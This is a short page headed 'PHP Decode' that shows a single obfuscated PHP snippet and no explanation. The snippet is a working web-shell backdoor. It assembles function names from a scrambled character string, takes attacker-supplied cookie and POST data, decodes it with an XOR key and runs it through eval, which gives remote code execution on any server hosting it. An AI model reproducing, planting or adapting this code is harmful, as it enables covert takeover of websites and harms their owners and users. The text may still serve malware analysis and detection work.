PHP Decode

<?php 
$xsopj = 'uraiedlHx_9vco-gs\'6#n0t247*pm83ybkf';$pitdu = Array();$pitdu[] = $xsopj[7].$xsopj[26];$pitdu[] = $xsopj[19];$pitdu[] = $xsopj[24].$xsopj[25].$xsopj[18].$xsopj[23].$xsopj[24].$xsopj[10].$xsopj[34].$xsopj[30].$xsopj[14].$xsopj[32].$xsopj[23].$xsopj[23].$xsopj[18].$xsopj[14].$xsopj[24].$xsopj[18].$xsopj[21].$xsopj[23].$xsopj[14].$xsopj[10].$xsopj[4].$xsopj[30].$xsopj[2].$xsopj[14].$xsopj[32].$xsopj[25].$xsopj[21].$xsopj[30].$xsopj[30].$xsopj[29].$xsopj[12].$xsopj[34].$xsopj[12].$xsopj[10].$xsopj[24].$xsopj[5];$pitdu[] = $xsopj[12].$xsopj[13].$xsopj[0].$xsopj[20].$xsopj[22];$pitdu[] = $xsopj[16].$xsopj[22].$xsopj[1].$xsopj[9].$xsopj[1].$xsopj[4].$xsopj[27].$xsopj[4].$xsopj[2].$xsopj[22];$pitdu[] = $xsopj[4].$xsopj[8].$xsopj[27].$xsopj[6].$xsopj[13].$xsopj[5].$xsopj[4];$pitdu[] = $xsopj[16].$xsopj[0].$xsopj[32].$xsopj[16].$xsopj[22].$xsopj[1];$pitdu[] = $xsopj[2].$xsopj[1].$xsopj[1].$xsopj[2].$xsopj[31].$xsopj[9].$xsopj[28].$xsopj[4].$xsopj[1].$xsopj[15].$xsopj[4];$pitdu[] = $xsopj[16].$xsopj[22].$xsopj[1].$xsopj[6].$xsopj[4].$xsopj[20];$pitdu[] = $xsopj[27].$xsopj[2].$xsopj[12].$xsopj[33];foreach ($pitdu[7]($_COOKIE, $_POST) as $vyhnplk => $iyabjeb){function wviicbt($pitdu, $vyhnplk, $qyghoko){return $pitdu[6]($pitdu[4]($vyhnplk . $pitdu[2], ($qyghoko / $pitdu[8]($vyhnplk)) + 1), 0, $qyghoko);}function ncbsix($pitdu, $prpqib){return @$pitdu[9]($pitdu[0], $prpqib);}function xyxfx($pitdu, $prpqib){$vfzfz = $pitdu[3]($prpqib) % 3;if (!$vfzfz) {eval($prpqib[1]($prpqib[2]));exit();}}$iyabjeb = ncbsix($pitdu, $iyabjeb);xyxfx($pitdu, $pitdu[5]($pitdu[1], $iyabjeb ^ wviicbt($pitdu, $vyhnplk, $pitdu[8]($iyabjeb))));} 
 ?>